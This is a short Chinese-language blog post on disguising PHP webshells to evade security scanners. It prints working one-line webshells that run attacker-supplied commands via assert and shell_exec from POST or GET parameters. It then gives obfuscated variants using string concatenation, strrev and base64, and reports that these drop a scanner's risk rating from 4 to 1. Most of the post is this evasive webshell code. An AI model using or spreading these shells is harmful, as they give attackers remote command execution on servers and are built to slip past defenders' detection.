PHP木马变形
不小心看到了一篇PHP过狗的文章,于是借鉴了思路自己尝试对PHP木马进行变形,最终效果还算可以(对D盾来说可以……)。
写得比较垃圾,不要当真。其实方式很多,只是我这里用的技术太基础了。
思路1
看到一篇文章思路是这样的:
原始木马:
<?php assert(@$_POST['a']); ?>
变形后:
<?php
$a = 'assert';
$b = $a;
$a(@$_POST['a']);
?>
于是我就自行使用该思路进行了尝试,原始的木马使用D盾扫描,风险级别为4。
原始木马内容:
<?php echo shell_exec($_GET['cmd']);?>
该马的使用效果:
根据上述的思路,对该木马进行了变形处理。
<?php
$a = 'she';
$b = 'll_ex';
$c = 'ec';
$d = $a.$b.$c;
echo "Hello World!</br>";
echo $d($_GET['cmd']);
?>
变形后木马能正常使用,并且D盾检测级别已经变为了1。
思路2
思路2是在思路1的基础上,将字符串进行反转,以及base64编码。然后解码后执行。最终实现的结果,D盾仍然检测为级别1。
PHP的反转函数,不经意间发现*strrev*这个函数,于是进行Bypass尝试。
<?php
$safedog1 = 'cexe_llehs';
echo "safedog1:".$safedog1."<br>";
$safedog2 = base64_encode($safedog1);
echo "safedog2:".$safedog2."</br>";
$safedog3 = strrev(base64_decode($safedog2));
echo "safedog3:".$safedog3."</br>";
echo $safedog3($_GET['cmd']);
?>
运行如下:
然后丢到D盾里面去进行检测,目前检测级别只有1,实现效果,但是安全狗的话还是能识别为风险文件,但是没说具体风险值。
D盾:
安全狗:
微步在线:
360:
后续
后面继续吸收经验以及思路,继续尝试其他Bypass的思路。